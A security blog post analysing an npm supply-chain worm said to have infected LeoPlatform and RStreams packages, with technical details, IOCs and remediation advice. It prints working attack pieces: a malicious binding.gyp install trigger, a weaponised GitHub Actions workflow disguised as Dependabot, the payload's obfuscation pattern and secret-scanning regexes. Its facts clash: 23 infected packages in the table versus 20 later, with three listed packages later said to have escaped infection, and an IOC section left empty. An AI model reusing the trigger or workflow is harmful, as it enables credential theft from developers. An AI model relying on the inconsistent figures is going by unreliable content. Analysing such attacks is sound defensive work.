A developer account was compromised. Within hours, 23 npm packages shipped malware to anyone who ran npm install. The GitHub fingerprint the attackers left behind – a repository description reading “Alright Lets See If This Works” turned up on over 320 infected repositories before researchers began pulling the thread.

That string is not something random. In the Shai-Hulud / Miasma family of supply chain worms, the description stamped onto attacker-created GitHub dead-drop repos has functioned as a campaign signature since the original wave hit in September 2025. “Shai-Hulud: Here We Go Again.” “Miasma: The Spreading Blight.” “niagA oG eW ereH :duluH-iahS” (that one reversed). Each variant tags its exfiltration repos with a unique string so the threat actor can locate stolen credential caches quickly, and security researchers can correlate infections across victims. “Alright Lets See If This Works” is the latest entry in that lineage and it is the clearest indicator that whoever stood up this wave is working directly from the same open-source codebase that TeamPCP published to BreachForums in mid-May 2026.

The packages hit belong to the LeoPlatform and RStreams ecosystems – a serverless data pipeline framework built heavily on AWS that is used across enterprise ETL workflows, especially in retail and healthcare integration stacks. This is not a casual portfolio of small libraries. leo-sdk, leo-cli, leo-aws, leo-connector-mysql, leo-connector-postgres, leo-connector-elasticsearch – these are the plumbing for production data infrastructure. If your CI/CD pipeline pulls any of them, the malware ran on your runner.

The Infection Vector: Phantom Gyp

Every wave of the Miasma family has iterated on how it achieves initial execution during npm install. The first wave which hit 32 packages in the @redhat-cloud-services namespace on June 1, 2026, used a standard preinstall lifecycle hook. The second wave, three days later, introduced what StepSecurity researchers named “Phantom Gyp” – a technique that bypasses preinstall and postinstall checks entirely by embedding execution logic inside a binding.gyp file.

binding.gyp is a build configuration file used when an npm package includes native C++ code that needs compiling. It uses a Python-like JSON syntax and supports a shell expansion operator: <!( ... ). That syntax instructs the node-gyp build system to execute the enclosed shell command and substitute its output as a value during the build configuration phase. When npm encounters a package with a binding.gyp file, it automatically invokes node-gyp. And node-gyp runs the command expansion. No preinstall script needed. No postinstall hook. Nothing in package.json‘s scripts block that a standard security scanner would flag.

The malicious binding.gyp used in the Miasma waves is 157 bytes. The entire initial execution trigger fits in 157 bytes of JSON. The expansion operator calls out to retrieve and execute a multi-megabyte obfuscated JavaScript payload that the attackers stage separately ensuring the binding.gyp itself looks nearly empty, while the actual damage happens one level of indirection away.

The Leo Platform packages in this wave carry the same technique. A package that ships connectors to MySQL, Postgres, Oracle, Redshift, Elasticsearch, and MongoDB – infrastructure packages that legitimately might need native bindings for performance-critical I/O is an ideal disguise. If a connector package ships a binding.gyp, a developer reviewing it has no particular reason to be suspicious. The file looks like it belongs there.

The Payload Architecture: Multi-Stage, Bun-Staged, XOR-Encrypted

Once binding.gyp triggers node-gyp execution, the infection unfolds in stages that the Miasma family has refined across every wave since June 1.

Stage 1 – The dropper. The initial command expansion downloads a small JavaScript loader. This loader is obfuscated but not the main payload. Its sole job is to download and install the Bun JavaScript runtime from github.com/oven-sh/bun/releases/. Bun is a legitimate, open-source JavaScript runtime. Using it here serves two purposes: it gives the malware a standalone execution environment that does not depend on the victim’s Node.js version, and it bypasses endpoint detection tools tuned specifically for Node.js behavior.

Stage 2 – The obfuscated core. Once Bun is installed to a temporary directory (typically something like /tmp/b-XXXXXX), the loader executes the actual payload through Bun. The payload is a 4.2 to 4.5 MB JavaScript file obfuscated via obfuscator.io. It contains an encrypted string table with over 2,000 entries covering credential target paths, API endpoints, EDR detection strings, and propagation logic. The Leo Platform wave, consistent with the broader Miasma lineage, uses a layered decryption approach combining multiple ROT variants with AES-128-GCM for the outer envelope.

XOR in the mix. Per the tweet sourcing this incident, this wave specifically employs XOR encryption – the same technique documented in the earlier Miasma waves for per-infection payload differentiation. Where earlier Shai-Hulud variants copied themselves byte-for-byte, Miasma generates a uniquely encrypted payload per infection. The XOR key is derived from environment-specific values at infection time, which means hash-based IOC matching is only useful for the specific package version that was analyzed. A different install on a different machine produces a different binary signature.

Stage 3 – Execution gating. Before doing anything visible, the malware validates the environment. It checks locale settings and will exit early on systems configured with Russian-language locales – a pattern also documented in the GlassWorm supply chain campaigns and one that has led some researchers to speculate about the threat actor’s geographic constraints or deliberate evasion of jurisdictions where prosecution risk is high. It also probes for EDR software: CrowdStrike Falcon, SentinelOne, Carbon Black, and the StepSecurity Harden-Runner for GitHub Actions are all specifically detected. On systems where those tools are present, the malware modifies its behavior to reduce noise, though it does not abort entirely.

What Gets Stolen

The credential harvester in this Miasma variant is not a generic environment scrape. It is a purpose-built collector with per-provider targeting that has been extended with each campaign wave since September 2025.

For AWS, the malware targets aws_access_key_id, aws_secret_access_key, x-amz-security-token, the EC2 IMDS endpoint at http://169.254.169.254/latest/api/token, SSM Parameter Store via AmazonSSM.GetParameters, and Secrets Manager via secretsmanager:ListSecrets. Given that leo-aws is explicitly one of the infected packages – a library described by LeoPlatform as “helper wrappers around AWS services” for backoff retry and streaming – the malware’s AWS focus is not incidental. Any developer or CI runner that has leo-aws in its dependency tree and holds AWS credentials in the environment is a high-value target.

For GitHub, the harvester enumerates repositories the stolen token can write to, reads action.yml and action.yaml via GraphQL API calls, and commits malicious workflows through the createCommitOnBranch mutation so that the injected commit appears as a verified, signed change. It also scrapes GitHub Actions runner memory directly reading from /proc/*/mem on Linux runners to extract OIDC tokens and masked secrets in their unmasked form. This runner memory scraping technique was first observed in the TanStack compromise of May 2026 and has now become standard in the Miasma toolkit.

GCP targeting hits GOOGLE_APPLICATION_CREDENTIALS, private_key_id, and uses the user-agent google-api-nodejs-client/7.0.0 gl-node/20.11.0 gccl/7.0.0 for queries to GCP identity endpoints – a legitimate-looking user-agent that can blend into normal GCP API traffic logs. Azure identity collection was added specifically in the Miasma variants post-June 1, upgrading from the older Shai-Hulud focus on secrets alone to active enumeration of every cloud identity the infected machine can reach.

The full list of credential categories includes: npm tokens, GitHub PATs and fine-grained tokens, OIDC federation grants, AWS credentials and session tokens, GCP service account keys, Azure managed identity tokens, HashiCorp Vault tokens, Kubernetes service account tokens, SSH private keys, RubyGems tokens, PyPI credentials, Docker authentication configs, password manager CLI stores (1Password, Bitwarden, pass, gopass), and browser session data on developer machines.

There is also a dead-man’s switch documented in earlier Miasma variants that is worth flagging. The malware polls api.github.com/user with the stolen GitHub token every 60 seconds. If the token is revoked and the API returns HTTP 40x, the malware executes rm -rf ~/ on the infected machine wiping the developer’s home directory. This was specifically documented in the TanStack wave. The Leo Platform wave carries the same lineage; whether this variant’s dead-man’s switch is active or dormant (“the stage 5 dropper logic is currently not weaponized,” OX Security noted about a closely related variant) is something organizations should confirm through forensic analysis rather than assume.

The GitHub Dead-Drop Infrastructure

Stolen credentials do not go to a traditional C2 server with a suspicious IP. They go to GitHub.

The malware authenticates with the victim’s own stolen GitHub token, creates a new public repository on the victim’s account with a procedurally generated name in the format adjective-noun-number (documented examples include nemean-hydra-34343), and uploads the encrypted credential payload as JSON files under a results/ directory named with a timestamp and counter. The repository description is set to the campaign’s identifying string.

For this wave: “Alright Lets See If This Works.”

That string appears on over 320 repositories. Each one represents an infected environment that has already pushed its stolen credentials somewhere the threat actor can retrieve them. The exfiltration traffic to github.com blends perfectly into normal developer workflow traffic – it looks like a developer pushing code.

StepSecurity’s analysis of the closely related Phantom Gyp wave traced the primary exfiltration account to liuende501, which hosted 236 repositories at time of analysis. That account has since become inaccessible, suggesting either GitHub removed it or the threat actor cleaned up after themselves. The Leo Platform wave uses the same operational pattern but a different account or set of accounts, 320 repositories across the victim network versus the 236 in the liuende501 cluster, which is consistent with ongoing propagation from a fresh wave.

The commit message when stolen data is pushed can include the string IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner:<token>, a string first documented by Socket Security in the Red Hat Miasma analysis. It functions as a threat to the victim: rotating the token triggers the destructive payload. Whether to rotate or not becomes a genuine tactical decision for incident responders.

There is also a documented fallback channel. Versions of the payload have been observed exfiltrating encrypted data to api.anthropic[.]com:443/v1/api as a decoy, not to actually reach Anthropic’s infrastructure but to blend the exfiltration traffic into HTTPS flows that most organizations whitelist entirely.

The 23 Infected Packages

The packages identified in this wave span the core of the LeoPlatform and RStreams ecosystems:

PackageMalicious Version
leo-sdk6.0.19
leo-cli3.0.3
leo-auth4.0.6
leo-connector-common4.0.11-rc
leo-connector-mysql3.0.3
leo-connector-postgres4.0.19-beta
leo-connector-elasticsearch2.0.6
leo-connector-mongo3.0.8
leo-aws2.0.4
leo-config1.1.1
leo-connector-entity-table3.0.22-rc
leo-logger1.0.8
leo-streams2.0.1
leo-cache1.0.2
leo-connector-oracle2.0.1
leo-connector-redshift3.0.6
serverless-leo3.0.14
leo-cron2.0.2
serverless-convention2.0.4
solo-nav1.0.1
rstreams-metrics2.0.2
leo-cdk-lib0.0.2
rstreams-shard-util1.0.1

The presence of leo-cdk-lib (AWS CDK constructs for Leo infrastructure) and leo-cron (scheduling) alongside the connector packages confirms this was not a random sample of packages a worm touched. These packages span the full operational surface of the Leo Platform – from infrastructure provisioning with CDK, to runtime execution with the core SDK, to data movement with every database connector the platform ships. An organization running a Leo-based data pipeline that does npm install with a package.json referencing these packages would have the malware execute on every CI runner in the pipeline.

The -rc and -beta suffixes on [email protected] and [email protected] are notable. Pre-release versions are often used by organizations testing ahead of stable releases, and they may be less tightly governed in CI configurations that allowlist only stable semver versions. Targeting pre-release suffixes is a technique that widens the blast radius beyond production CI jobs into staging and integration environments where developers work with elevated access.

Self-Propagation: How the Worm Spreads

The infection of 23 packages from a single compromised developer account is not coincidental. This is the worm behavior that has defined the Shai-Hulud family since its first appearance.

Once the payload runs, it enumerates every npm package the stolen account can publish to. It injects the malicious binding.gyp into each package’s tarball, republishes the modified versions to the npm registry, and optionally forges SLSA provenance attestations and Sigstore signatures using the legitimate maintainer’s stolen publishing credentials. The new versions look identical to a legitimate publish: the package name is correct, the version bump follows the existing pattern, the SLSA certificate is valid (because it was issued to the maintainer’s actual pipeline before compromise), and the Sigstore signature passes verification. Standard supply chain integrity tools that check for provenance are bypassed because the provenance is genuinely associated with the compromised maintainer.

From the perspective of a downstream developer, there is no obvious signal that [email protected] is different from [email protected]. The version number incremented normally. The publisher is the same account. The signature checks out.

The worm also targets GitHub repositories the stolen token can write to. It injects .claude/setup.mjs (a Claude Code SessionStart hook), .claude/settings.json, .cursor/rules/setup.mdc, .gemini/settings.json, and .vscode/tasks.json with "runOn": "folderOpen" – backdoor files that execute whenever any developer opens the infected repository in an AI coding assistant or VS Code. This means the infection survives package uninstallation. Even after an organization removes the poisoned leo-sdk from its node_modules, a developer who opens a project repository that received the injected .claude/setup.mjs will trigger the credential harvester again on their next Claude Code session.

This is the part that tends to get underplayed in incident response guidance that focuses on npm uninstall as remediation. The worm writes copies of itself into developer tooling configuration directories. npm uninstall removes the package. It does not clean .claude/, .cursor/, .gemini/, or .vscode/. Full remediation requires auditing every one of those directories in every repository the compromised maintainer had write access to.

AI Coding Assistant Targeting

The targeting of AI coding assistant configuration directories is the most operationally dangerous capability that Miasma added post-June 1, and it deserves its own discussion.

Claude Code, the Anthropic terminal-based coding agent, supports a SessionStart hook defined in .claude/setup.mjs. When a developer opens a project in Claude Code, this file executes automatically. Gemini CLI, Cursor, and VS Code all have equivalent “folder open” execution mechanisms. The Miasma worm injects payloads into all of them.

An organization’s security posture around package installation does not help here. The developer does not run npm install again. They open a folder in their editor. The hook fires. Credentials are harvested. The cycle continues.

The practical implication is that the blast radius of this wave extends beyond the initial install event. Every developer who has ever cloned or pulled a Leo Platform repository regardless of whether they personally installed a malicious package could be at risk if a CI pipeline or colleague ran the infected package and the worm successfully committed backdoor files to shared repositories. Audit .claude/, .cursor/, .gemini/, .vscode/tasks.json, and .github/setup.js in every Leo Platform repository your organization touches.

Technical Details

How the Infection Works

Every infected package received the same three modifications.

1. A new binding.gyp

The file is identical across all 20 packages – a single node-gyp target that abuses GYP command expansion to execute node index.js at install time:

{
"targets": [
{
"target_name": "nothing",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}
]
}

The <!(...) syntax runs a shell command during project generation. Because npm triggers node-gyp rebuild automatically whenever a binding.gyp exists regardless of whether package.json defines any install or postinstall scripts, security tools that only scan lifecycle scripts won’t catch this.

2. A replaced index.js

The original module code was wiped and replaced with a single obfuscated line weighing about 5.2 MB. The encoding has three layers:

try { eval(
ROT-N( charCodeArray.map(c => String.fromCharCode(c)).join(""), N )
)}

Each package uses a different ROT value (5, 8, 19, or 23) with different AES-128-GCM keys. After decryption, every package resolves to the same two blobs:

BlobPurposeDecrypted SHA256
_bBun runtime bootstrapper (907 bytes)ceff7c51d70832...ea154108
_pWorm payload (781,580 bytes)9f93d77d328338...9a6db015

_b downloads Bun 1.3.13 from GitHub releases and caches it in a temp directory. _p gets written to /tmp/p<random>.js, executed via bun run, then deleted.

3. A new bun dependency

Every infected package.json adds "bun": "^1.3.13". This is the npm Bun installer package, included as a fallback for environments where the bootstrapper’s curl download fails.

One Compromised Maintainer

The npm account czirker (Clint Zirker, [email protected]) is the only maintainer present across all 20 infected packages. Other maintainers like leoinsights, jgrantr, and elsmob appear on subsets but czirker is the common thread. The worm used this account’s npm token for the mass publish and its GitHub token for the repository-level attacks.

A registry metadata query confirms the pattern:

curl -s "https://registry.npmjs.org/rstreams-shard-util" \
| jq '{maintainers, "dist-tags", time}'
{
"maintainers": [{ "name": "czirker", "email": "[email protected]" }],
"dist-tags": { "latest": "1.0.1", "beta": "2.0.0-beta.1" },
"time": {
"1.0.0": "2024-11-05T21:36:55.013Z",
"1.0.1": "2026-06-24T23:04:55.296Z"
}
}

That 20-month gap between 1.0.0 and 1.0.1 is the infected version. The same pattern repeats across all 20 packages: a dormant legitimate release suddenly receives a new version with a 5 MB index.js and a fresh binding.gyp.

Four packages under the same maintainers escaped infection: leo-connector-common, leo-connector-entity-table, leo-connector-postgres, and leo-connector-sqlserver. All four have their latest dist-tag pointing to a prerelease (-rc or -beta). The worm appears to skip packages where latest isn’t a stable release.

GitHub Repo Poisoning

The attack didn’t stop at npm. GitHub event logs for three LeoPlatform repositories show czirker creating orphan branches named snapshot-<hex> at 22:50 UTC – about 14 minutes before the npm publishes went out:

22:50:34Z CreateEvent czirker snapshot-f121a878 LeoPlatform/Nodejs
22:50:52Z CreateEvent czirker snapshot-463d9ff7 LeoPlatform/auth-sdk
22:50:58Z CreateEvent czirker snapshot-afacc302 LeoPlatform/Leo
23:03:04Z PushEvent czirker snapshot-f121a878 LeoPlatform/Nodejs
23:04:55Z (npm publishes begin)

The commit on snapshot-f121a878 in LeoPlatform/Nodejs tells the story. It’s an orphan commit with no parent, authored as czirker, with the message “chore: update dependencies”. It adds two files:

added .github/workflows/npm-publish.yml (+19 lines)
added _index.js (+1 line, 5,285,240 bytes)

_index.js is the same 5.2 MB worm payload. The workflow is a weaponized GitHub Actions pipeline disguised as a Dependabot run:

name: Dependabot Updates
run-name: Dependabot Updates
on:
push
permissions:
id-token: write
contents: read
jobs:
release:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
- uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
- name: prepare
run: bun run _index.js
env:
OIDC_PACKAGES: "leo-sdk"
WORKFLOW_ID: "npm-publish.yml"
REPO_ID_SUFFIX: "LeoPlatform/Nodejs"

Three things stand out here. The workflow fires on every push to any branch. It requests id-token: write, which hands it a GitHub OIDC token that can be exchanged for npm publish credentials via npm’s trusted publishing feature. And the name “Dependabot Updates” is designed to blend into a PR list that’s already full of legitimate dependency bumps.

A follow-up commit, this time impersonating dependabot[bot], swapped the OIDC parameters for a direct NPM_TOKEN: ${{ secrets.NPM_TOKEN }} reference – the worm tries multiple publish strategies. Both pinned action SHAs (actions/checkout and oven-sh/setup-bun) point to legitimate public releases, which makes static scanning harder.

The master branch of LeoPlatform/Nodejs is clean. The weaponized workflow only lives on the orphan snapshot branch, where it fires if merged or if CI is configured to run workflows from all branches.

The Worm Payload

The inner code follows the standard javascript-obfuscator pattern: a _0x66ee string lookup table with 2,588 entries, a _0x42e6 decoder function, and a secondary runtime-constructed decoder (fb12914b2) called 519 times to reconstruct environment variable names and API endpoints.

Pulling strings out of the decrypted payload reveals the same capability set documented in the earlier Miasma source code analysis.

Credential theft covers npm, GitHub (PATs, OIDC tokens, JWTs), PyPI, RubyGems, Kubernetes service account tokens, HashiCorp Vault, AWS (IAM keys, STS, IMDS, Secrets Manager, SSM), 1Password, JFrog Artifactory, and SSH private keys.

Secret scanning uses regex patterns that sweep for auth tokens, private keys, and .npmrc credentials:

/"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g
/-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g
/ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g

AI coding tool targeting is the Miasma family’s signature. The payload references claudeSettingsPath, cursorRulesPath, geminiSettingsPath, and vscodeTasksPath – it’s specifically going after developer machine configs used by AI coding assistants.

npm worm propagation runs through automated package enumeration (npmRepos, maxPackages), version bumping (newVersion), and publish tracking (totalPackages, published, failed, publishStepIndex).

GitHub Actions workflow scanning uses regex to find npm publish and yarn publish in CI configs, with hasIdTokenWrite checks to identify repos that support OIDC-based publishing – the same vector used in the LeoPlatform attack.

Indicators of Compromise

TypeIndicatorContext
Filebinding.gypInstall-time trigger present in every infected package
File patternindex.js (~5.2 MB, single line)ROT-N + AES-128-GCM obfuscated worm payload, replaces original module code
npm dependencybun@^1.3.13Added to all infected packages as a Bun runtime fallback
SHA256 (Bun bootstrapper)ceff7c51d70832c3ec8dd2744b606a23b3c924ef664ae23439b9b742ea154108Decrypted _b blob, identical across all 20 packages
SHA256 (worm payload)9f93d77d32833a515bc406c46da477142bb1ac2babeecb6aa42f98669a6db015Decrypted _p blob, identical across all 20 packages
SHA1 (leo-logger-1.0.8.tgz)24a0d9e496ec07ca978fab602d5f5e0b39fa03a0Infected tarball
SHA1 (serverless-convention-2.0.4.tgz)5e75c14b8acd5752819ab7a10874ddd6389f5238Infected tarball
SHA1 (leo-cache-1.0.2.tgz)e973173fb757d2dab9c6424b440dd9f7cbe4f14aInfected tarball
SHA1 (rstreams-shard-util-1.0.1.tgz)a8cb86b78ca56befe90dc466642cb04b98079909Infected tarball
GitHub branch patternsnapshot-<8 hex chars>Orphan branches pushed to compromised repos
GitHub commit authordependabot[bot]Impersonated in worm commits
GitHub file_index.js (~5.2 MB)Worm payload dropped into repositories
GitHub workflow nameDependabot UpdatesWeaponized Actions workflow masquerading as a Dependabot run
GYP command<!(node index.js > /dev/null 2>&1 && echo stub.c)node-gyp command expansion trigger inside binding.gyp
Bun download URLgithub.com/oven-sh/bun/releases/download/bun-v1.3.13/Runtime fetched by the Bun bootstrapper
Temp file pattern/tmp/p<random>.jsWorm payload written here before execution, deleted immediately after

Quick detection check: any package that received a version bump adding a binding.gyp with <!(node index.js in it, a new bun dependency, and an index.js that ballooned to several megabytes should be treated as compromised until proven otherwise.

Attribution and Lineage

Attribution in the post-TeamPCP open-source world is genuinely hard to pin down, and responsible analysis requires saying so clearly.

TeamPCP (also tracked as Replicating Marauder, TGR-CRI-1135, and UNC6780 by different vendors) open-sourced the Mini Shai-Hulud attack tools on May 12, 2026. Anyone can now pull the codebase and run a supply chain worm. The cosmetic differences between the Red Hat Miasma wave and this Leo Platform wave – “Miasma: The Spreading Blight” versus “Alright Lets See If This Works” could reflect TeamPCP testing a new variant, a copycat actor who grabbed the public tooling, or a separate threat group that has been working from the same codebase for months.

What the technical evidence supports saying: the same public keys used in the Red Hat compromise appear in the Leo Platform wave’s payload. That is a significant indicator. OX Security noted the same thing about a closely related wave: “The same public keys used in the previous attack exist in this code as well, which tells that this is indeed the same threat actors from the Red Hat compromise from a few days ago.” If the Leo Platform wave shares key material with the Red Hat wave – which the technical overlap in binding.gyp technique, Bun runtime staging, and XOR-plus-AES encryption strongly suggests the same actor is responsible for both. Whether that actor is TeamPCP operating the tools they built, or a well-resourced copycat who also somehow acquired the same key material, is an open question.

What does not need to be uncertain: the techniques, the targets, and the remediation steps are the same regardless of who ran this specific wave.

Indicators of Compromise

Organizations should search for the following artifacts across developer machines, CI runners, and GitHub repositories:

GitHub repository description string: Alright Lets See If This Works on any repository created under a developer account after the malware’s first execution timestamp.

File system artifacts during npm install:

Repository-level backdoor files:

Credential staging files (pre-exfiltration): cloud.json, contents.json, environment.json, truffleSecrets.json, actionsSecrets.json

Network indicators:

Affected npm package versions: All 23 packages listed in the table above at their respective malicious versions.

What You Need to Do Right Now

If you run anything in the LeoPlatform or RStreams ecosystem, treat the environment as compromised until forensically cleared.

Rotate every secret that was accessible from any machine or runner that installed one of these package versions. That means npm publish tokens and OIDC federation grants, GitHub PATs and fine-grained personal access tokens, AWS credentials and session tokens, GCP service account keys, Azure managed identity tokens, HashiCorp Vault tokens, Kubernetes service account tokens, SSH private keys, and any CI/CD platform secrets stored in environment variables.

Do not just rotate and move on. The dead-man’s switch behavior documented in the broader Miasma family means token rotation can trigger destructive behavior. Coordinate incident response carefully – isolate affected runners before rotating tokens, preserve forensic artifacts first, and rotate from a clean environment rather than the potentially infected machine.

Audit every repository the compromised maintainer account could write to. Check for injected AI assistant configuration files and GitHub Actions workflow modifications. Run grep -rn "Alright Lets See If This Works" .github .claude .cursor .vscode "$HOME" as a quick starting check, but do not rely on it as a complete indicator – the worm’s persistence files do not necessarily contain the campaign marker string.

Remove the malicious package versions from your dependency tree and rebuild from a clean lockfile. npm ci with pinned versions from a known-good lockfile, not npm install which resolves latest.

Disable binding.gyp-triggered execution in CI pipelines where possible. The ignore-scripts flag for npm does not block node-gyp, so it is not sufficient here. Enforce allowlists for packages that genuinely need native compilation, and flag any package that invokes node-gyp unless it is on the allowlist.

If your organization uses GitHub Actions, review workflow runs during the exposure window for unexpected node-gyp rebuild activity, Bun downloads, and outbound GitHub API calls creating new repositories.

The Bigger Picture

This is the ninth distinct wave in the Shai-Hulud / Miasma lineage since September 2025. Each wave has hit a different ecosystem, refined the execution mechanism slightly, and extended the credential target list. Red Hat. TanStack. @antv. @vapi-ai. Microsoft GitHub repositories. Now LeoPlatform and RStreams.

The pattern is clear: the worm propagates through compromised maintainer credentials, and it specifically targets ecosystems that sit close to production infrastructure. The axios compromise was 100 million weekly downloads. The Leo Platform packages are smaller by download count, but they sit directly in AWS data pipeline infrastructure – a segment where stolen credentials translate directly to data access and lateral movement into cloud environments.

The “Alright Lets See If This Works” description stamped on 320 repositories is either someone testing a new variant of the tooling, or the least self-aware threat actor in recent memory. Either way, those 320 repositories represent 320 compromised environments that have already pushed their credentials to the attacker. If your environment is one of them, you have a short window to rotate, audit, and contain before those credentials are used.

This post first appeared at - The CyberSec Guru